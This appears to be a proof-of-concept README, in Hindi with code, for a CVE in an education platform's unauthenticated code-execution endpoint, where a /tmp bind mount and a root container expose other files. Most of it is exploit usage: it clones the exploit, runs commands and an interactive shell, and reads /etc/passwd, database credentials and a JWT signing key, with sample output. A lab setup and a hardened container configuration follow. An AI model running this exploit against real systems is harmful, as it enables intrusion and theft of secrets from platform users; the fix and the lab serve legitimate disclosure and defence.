POST /api/compiler/execute  (कोई प्रमाणीकरण नहीं)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ /tmp पर हल होता है → पूरा /tmp कंटेनर में माउंट होता है
     │
     ├─ कोई user= नहीं        → रूट के रूप में चलता है (UID 0)
     ├─ कोई cap_drop नहीं     → डिफ़ॉल्ट Docker क्षमताएँ
     ├─ कोई security_opt नहीं → डिफ़ॉल्ट seccomp प्रोफ़ाइल
     │
     └─ हमलावर पढ़ता है: रहस्य, क्रेडेंशियल, JWT कुंजियाँ, अन्य उपयोगकर्ताओं के सबमिशन

git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# कोई निर्भरता नहीं — केवल stdlib
chmod +x exploit.py

# जाँचें कि क्या लक्ष्य कमजोर है
python3 exploit.py --check http://target:5000

# सभी गैजेट चलाएँ + साक्ष्य JSON उत्पन्न करें
python3 exploit.py --exploit http://target:5000

# एकल कमांड निष्पादित करें
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# इंटरैक्टिव शेल में प्रवेश करें
python3 exploit.py --shell http://target:5000

# विशिष्ट गैजेट चलाएँ
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] jwt_signing_key.pem डाउनलोड किया गया (235B)

root@container:/app# exit

cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # प्रति निष्पादन अलग tmpdir
    cap_drop=["ALL"],                                           # सभी क्षमताएँ हटाएँ
    security_opt=["no-new-privileges:true"],                    # विशेषाधिकार वृद्धि रोकें
    user="65534:65534",                                         # nobody, रूट नहीं
    ...
)